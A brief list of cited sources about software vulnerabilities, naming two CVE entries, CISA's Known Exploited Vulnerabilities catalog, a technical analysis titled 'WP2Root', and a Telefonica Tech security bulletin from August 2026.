- CVE-2026-63030 — NVD
- CVE-2026-60137 — NVD
- CISA Known Exploited Vulnerabilities Catalog
- Mallory — WP2Root Technical Analysis
- Telefonica Tech — Boletin de Ciberseguridad, 1-7 agosto 2026